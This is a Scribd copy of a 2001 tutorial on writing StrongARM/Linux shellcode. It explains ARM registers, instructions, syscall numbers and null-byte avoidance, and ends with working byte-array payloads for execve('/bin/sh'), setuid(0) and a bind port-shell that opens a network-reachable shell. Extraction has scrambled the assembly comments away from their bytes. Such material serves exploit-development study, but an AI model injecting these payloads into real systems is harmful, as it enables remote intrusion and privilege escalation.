0% found this document useful (0 votes)
83 views

By Funkysh

The document provides information on writing shellcode for the StrongARM Linux platform. It begins with an introduction and overview of the document structure. It then covers the brief history of ARM, the ARM architecture including registers and instruction set, Linux system calls, common operations like loading high values and loops, avoiding null bytes, and includes an example shellcode.
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
83 views

By Funkysh

The document provides information on writing shellcode for the StrongARM Linux platform. It begins with an introduction and overview of the document structure. It then covers the brief history of ARM, the ARM architecture including registers and instruction set, Linux system calls, common operations like loading high values and loops, avoiding null bytes, and includes an example shellcode.
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 10

Into my ARMs

Developing StrongARM/Linux shellcode


by funkysh <[email protected]>
16.12.2001

----{ Introduction
This paper covers informations needed to write StrongARM Linux shellcode. All examples
presented in this paper was developed on Compaq iPAQ H3650 with Intel StrongARM-1110
processor running Debian Linux. Note that this document is not a complete ARM architecture
guide nor an assembly language tutorial, while I hope it also does not contain any major bugs, it
is perhaps worth noting that StrongARM can be not fully compatible with other ARMs (however,
I often refer just to "ARM" when I think it is not an issue). Document is divided into nine
sections:
* Brief history of ARM
* ARM architecture
* ARM registers
* Instruction set
* System calls
* Common operations
* Null avoiding
* Example codes
* References

----{ Brief history of ARM


First ARM processor (ARM stands for Advanced RISC Machine) was designed and
manufactured by Acorn Computer Group in the middle of 80's. Since beginning goal was to
construct low cost processor with low power consumption, high performance and power
efficiency. In 1990 Acorn together with Apple Computer set up a new company Advanced RISC
Machines Ltd. Nowadays ARM Ltd does not make processors only designs them and licenses the
design to third party manufacturers. ARM technology is currently licensed by number of huge
companies including Lucent, 3Com, HP, IBM, Sony and many others.
StrongARM is a result of ARM Ltd and Digital work on design that use the instruction set of the
ARM processors, but which is built with the chip technology of the Alpha series. Digital sold off

its chip manufacturing to Intel Corporation. Intel's StrongARM (including SA-110 and SA-1110)
implements the ARM v4 architecture defined in [1].

----{ ARM architecture


The ARM is a 32-bit microprocessor designed in RISC architecture, what means it has reduced
instruction set in opposite to typical CISC like x86 or m68k. Advantages of reduced instruction
set includes possibility of optimising speed using for example pipelining or hard-wired logic.
Also instructions and addressing modes can made identical for most instructions. ARM is a
load/store architecture where data-processing operations only operate on register contents, not
directly on memory contents. It is also supporting additional features like Load and Store
Multiple instructions and conditional execution of all instructions. Obviously every instruction
has the same length of 32 bits.

----{ ARM registers


ARM has 16 visible 32 bit registers: r0 to r14 and r15 (pc). To simplify the thing we can say
there is 13 'general-purpose' registers - r0 to r12 (registers from r0 to r7 are unbanked registers
which means they refers to the same 32-bit physical register in all processor modes, they have no
special use and can be used freely wherever an general-purpose register is allowed in instruction)
and three registers reserved for 'special' purposes (in fact all 15 registers are general-purpose):
r13 (sp)
r14 (lr)
r15 (pc/psr) -

stack pointer
link register
program counter/status register

Register r13 also known as 'sp' is used as stack pointer and both with link register are used to
implement functions or subroutines in ARM assembly language. The link register - r14 also
known as 'lr' is used to hold subroutine return address. When a subroutine call is performed by
eg. bl instruction r14 is set to return address of subroutine. Then subroutine return is performed
by copying r14 back into program counter.
Stack on the ARM grows to the lower memory addresses and stack pointer points to the last item
written to it, it is called "full descending stack". For example result of placing 0x41 and then
0x42 on the stack looks that way:

memory address

sp ->

stack value

+------------+
0xbffffdfc: | 0x00000041 |
+------------+
0xbffffdf8: | 0x00000042 |
+------------+

----{ Instruction set


As written above ARM like most others RISC CPUs has fixed-length (in this case 32 bits wide)
instructions. It was also mentioned that all instructions can be conditional, so in bit representation
top 4 bits (31-28) are used to specify condition under which the instruction is executed.
Instruction interesting for us can be devided into four classes:
- branch instructions,
- load and store instructions,
- data-processing instructions,
- exception-generating instructions,
Status register transfer and coprocessor instructions are ommitted here.
1. Branch instructions
----------------------There are two branch instructions:
branch:
branch with link:

b <24 bit signed offset>


bl <24 bit signed offset>

Executing 'branch with link' - as mentioned in previous section, results with setting 'lr' with
address of next instruction.
2. Data-processing instructions
---------------------------------Data-processing instructions in general uses 3-address format:
<opcode mnemonic> <destination> <operand 1> <operand 2>

Destination is always register, operand 1 also must be one of r0 to r15 registers, and operand 2
can be register, shifted register or immediate value.

Some examples:
-----------------------------+----------------+--------------------+
addition:
add | add r1,r1,#65 | set r1 = r1 + 65
|
substraction:
sub | sub r1,r1,#65 | set r1 = r1 - 65
|
logical AND:
and | and r0,r1,r2
| set r0 = r1 AND r2 |
logical exclusive OR:
eor | eor r0,r1,#65 | set r0 = r1 XOR r2 |
logical OR:
orr | orr r0,r1,r2
| set r0 = r1 OR r2 |
move:
mov | mov r2,r0
| set r2 = r0
|

3. Load and store instructions


--------------------------------Load register from memory: ldr rX, <address>
Example: ldr r0, [r1] load r0 with 32 bit word from address specified in r1, there is also
ldrb instruction responsible for loading 8 bits, and analogical instructions for storing registers in
memory:
store register in memory: str rX, <address>
strb rX, <address>

(store 32 bits)
(store 8 bits)

ARM support also storing/loading of multiple registers, it is quite interesting feature from
optimization point of view, here go stm (store multiple registers in memory):
stm <base register><stack type>(!),{register list}

Base register can by any register, but typically stack pointer is used.
For example: stmfd sp!, {r0-r3, r6} store registers r0, r1, r2, r3 and r6 on the stack (in
full descending mode - notice additional mnemonic "fd" after stm) stack pointer will points to
the place where r0 register is stored.
Analogical instruction to load of multiple registers from memory is: ldm

4. Exception-generating instructions
---------------------------------------Software interrupt: swi <number> is only interesting for us, it perform software interrupt
exception, it is used as system call.
List of instructions presented in this section is not complete, a full set can be obtained from [1].

----{ Syscalls
On Linux with StrongARM processor, syscall base is moved to 0x900000, this is not good
information for shellcode writers, since we have to deal with instruction opcode containing zero
byte.
Example "exit" syscall looks that way:
swi 0x900001

[ 0xef900001 ]

Here goes a quick list of syscalls which can be usable when writing shellcodes (return value of
the syscall is usually stored in r0):

execve:
-------

r0
r1
r2
call number

=
=
=
=

const char *filename


char *const argv[]
char *const envp[]
0x90000b

setuid:
-------

r0 = uid_t uid
call number = 0x900017
dup2:
-----

r0 = int oldfd
r1 = int newfd
call number = 0x90003f

socket:
-------

r0 = 1 (SYS_SOCKET)
r1 = ptr to int domain, int type, int protocol
call number = 0x900066 (socketcall)

bind:
-----

r0 = 2 (SYS_BIND)
r1 = ptr to int sockfd, struct sockaddr *my_addr,
socklen_t addrlen
call number = 0x900066 (socketcall)

listen:

-------

r0 = 4 (SYS_LISTEN)
r1 = ptr to int s, int backlog
call number = 0x900066 (socketcall)

accept:
-------

r0 = 5 (SYS_ACCEPT)
r1 = ptr int s, struct sockaddr
socklen_t *addrlen
call number = 0x900066 (socketcall)

*addr,

----{ Common operations

Loading high values


-----------------------Because all instructions on the ARM occupies 32 bit word including place for opcode, condition
and register numbers, there is no way for loading immediate high value into register in one
instruction. This problem can be solved by feature called 'shifting'. ARM assembler use six
additional mnemonics reponsible for the six different shift types:
lsl
asl
lsr
asr
ror
rrx

logical shift left


arithmetic shift left
logical shift right
arithmetic shift right
rotate right
rotate right with extend

Shifters can be used with the data processing instructions, or with ldr and str instruction. For
example, to load r0 with 0x900000 we perform following operations:
mov
mov

r0, #144
r0, r0, lsl #16

; 0x90
; 0x90 << 16 = 0x900000

Position independence
--------------------------Obtaining own code postition is quite easy since pc is general-purpose register and can be either
readed at any moment or loaded with 32 bit value to perform jump into any address in memory.
For example, after executing:
sub

r0, pc, #4

address of next instruction will be stored in register r0.


Another method is executing branch with link instruction:

sss:

bl
swi
mov

sss
0x900001
r0, lr

Now r0 points to "swi 0x900001".


Loops
------Let's say we want to construct loop to execute some instruction three times. Typical loop will be
constructed this way:
loop:

mov
...
sub
cmp
bne

r0, #3

<- loop counter

r0, r0, #1 <- r0 = r0 -1


r0, #0
<- check if r0 == 0 already
loop
<- goto loop if no (if Z flag != 1)

This loop can be optimised using subs instruction which will set Z flag for us when r0 reach
0, so we can eliminate a cmp.

loop:

mov
...
subs
bne

r0, #3
r0, r0, #1
loop

Nop instruction
--------------On ARM "mov r0, r0" is used as nop, however it contain nulls so any other "neutral"
instruction have to be used when writting proof of concept codes for vulnerabilities, "mov r1,
r1" is just an example.
mov

r1, r1

[ 0xe1a01001 ]

----{ Null avoiding


Almost any instruction which use r0 register generates 'zero' on ARM, this can be usually solved
by replacing it with other instruction or using self-modifing code.

For example:
can be raplaced with:

e3a00041

mov

r0, #65

e0411001
e2812041
e1a00112

sub
add
mov

r1, r1, r1
r2, r1, #65
r0, r2, lsl r1

(r0 = r2 << 0)

Syscall can be patched in following way:


e28f1004
e0422002
e5c12001
ef90ff0b

add
sub
strb
swi

r1, pc, #4
r2, r2, r2
r2, [r1, #1]
0x90ff0b

<- get address of swi


<- patch 0xff with 0x00
<- crippled syscall

Store/Load multiple also generates 'zero', even if r0 register is not used:


e92d001e

stmfd sp!, {r1, r2, r3, r4}

In example codes presented in next section I used storing with link register:
e04ee00e
e92d401e

sub
lr, lr, lr
stmfd sp!, {r1, r2, r3, r4, lr}

----{ Example codes


/*
* 47 byte StrongARM/Linux execve() shellcode
* funkysh
*/
char shellcode[]= "\x02\x20\x42\xe0"
"\x1c\x30\x8f\xe2"
"\x04\x30\x8d\xe5"
"\x08\x20\x8d\xe5"
"\x13\x02\xa0\xe1"
"\x07\x20\xc3\xe5"
"\x04\x30\x8f\xe2"
"\x04\x10\x8d\xe2"
"\x01\x20\xc3\xe5"
"\x0b\xff\x90\xef"
"/bin/sh";

/*
/*
/*
/*
/*
/*
/*
/*
/*
/*

sub
add
str
str
mov
strb
add
add
strb
swi

r2, r2, r2
r3, pc, #28
r3, [sp, #4]
r2, [sp, #8]
r0, r3, lsl r2
r2, [r3, #7
r3, pc, #4
r1, sp, #4
r2, [r3, #1]
0x90ff0b

*/
*/
*/
*/
*/
*/
*/
*/
*/
*/

r2,
r1,
r0,
r2,

*/
*/
*/
*/

/*
* 20 byte StrongARM/Linux setuid() shellcode
* funkysh
*/
char shellcode[]= "\x02\x20\x42\xe0"
"\x04\x10\x8f\xe2"
"\x12\x02\xa0\xe1"
"\x01\x20\xc1\xe5"

/*
/*
/*
/*

sub
add
mov
strb

r2, r2
pc, #4
r2, lsl r2
[r1, #1]

"\x17\xff\x90\xef";

/*

swi

0x90ff17

*/

/*
* 203 byte StrongARM/Linux bind() portshell shellcode
* funkysh
*/
char shellcode[]= "\x20\x60\x8f\xe2"
"\x07\x70\x47\xe0"
"\x01\x70\xc6\xe5"
"\x01\x30\x87\xe2"
"\x13\x07\xa0\xe1"
"\x01\x20\x83\xe2"
"\x07\x40\xa0\xe1"
"\x0e\xe0\x4e\xe0"
"\x1c\x40\x2d\xe9"
"\x0d\x10\xa0\xe1"
"\x66\xff\x90\xef"
"\x10\x57\xa0\xe1"
"\x35\x70\xc6\xe5"
"\x14\x20\xa0\xe3"
"\x82\x28\xa9\xe1"
"\x02\x20\x82\xe2"
"\x14\x40\x2d\xe9"
"\x10\x30\xa0\xe3"
"\x0d\x20\xa0\xe1"
"\x0d\x40\x2d\xe9"
"\x02\x20\xa0\xe3"
"\x12\x07\xa0\xe1"
"\x0d\x10\xa0\xe1"
"\x66\xff\x90\xef"
"\x45\x70\xc6\xe5"
"\x02\x20\x82\xe2"
"\x12\x07\xa0\xe1"
"\x66\xff\x90\xef"
"\x5d\x70\xc6\xe5"
"\x01\x20\x82\xe2"
"\x12\x07\xa0\xe1"
"\x04\x70\x8d\xe5"
"\x08\x70\x8d\xe5"
"\x66\xff\x90\xef"
"\x10\x57\xa0\xe1"
"\x02\x10\xa0\xe3"
"\x71\x70\xc6\xe5"
"\x15\x07\xa0\xe1"
"\x3f\xff\x90\xef"
"\x01\x10\x51\xe2"
"\xfb\xff\xff\x5a"
"\x99\x70\xc6\xe5"
"\x14\x30\x8f\xe2"
"\x04\x30\x8d\xe5"
"\x04\x10\x8d\xe2"
"\x02\x20\x42\xe0"
"\x13\x02\xa0\xe1"
"\x08\x20\x8d\xe5"
"\x0b\xff\x90\xef"
"/bin/sh";

/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*
/*

add
sub
strb
add
mov
add
mov
sub
stmfd
mov
swi
mov
strb
mov
mov
add
stmfd
mov
mov
stmfd
mov
mov
mov
swi
strb
add
mov
swi
strb
add
mov
str
str
swi
mov
mov
strb
mov
swi
subs
bpl
strb
add
str
add
sub
mov
str
swi

r6, pc, #32


r7, r7, r7
r7, [r6, #1]
r3, r7, #1
r0, r3, lsl r7
r2, r3, #1
r4, r7
lr, lr, lr
sp!, {r2-r4, lr}
r1, sp
0x90ff66
(socket)
r5, r0, lsl r7
r7, [r6, #53]
r2, #20
r2, r2, lsl #17
r2, r2, #2
sp!, {r2,r4, lr}
r3, #16
r2, sp
sp!, {r0, r2, r3, lr}
r2, #2
r0, r2, lsl r7
r1, sp
0x90ff66
(bind)
r7, [r6, #69]
r2, r2, #2
r0, r2, lsl r7
0x90ff66
(listen)
r7, [r6, #93]
r2, r2, #1
r0, r2, lsl r7
r7, [sp, #4]
r7, [sp, #8]
0x90ff66
(accept)
r5, r0, lsl r7
r1, #2
r7, [r6, #113]
r0, r5, lsl r7 <dup2>
0x90ff3f
(dup2)
r1, r1, #1
<dup2>
r7, [r6, #153]
r3, pc, #20
r3, [sp, #4]
r1, sp, #4
r2, r2, r2
r0, r3, lsl r2
r2, [sp, #8]
0x900ff0b
(execve)

*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/
*/

----{ References:
[1] ARM Architecture Reference Manual - Issue D,
2000 Advanced RISC Machines LTD
[2] Intel StrongARM SA-1110 Microprocessor Developer's Manual,
2001 Intel Corporation
[3] Using the ARM Assembler,
1988 Advanced RISC Machines LTD
[4] ARM8 Data Sheet,
1996 Advanced RISC Machines LTD

You might also like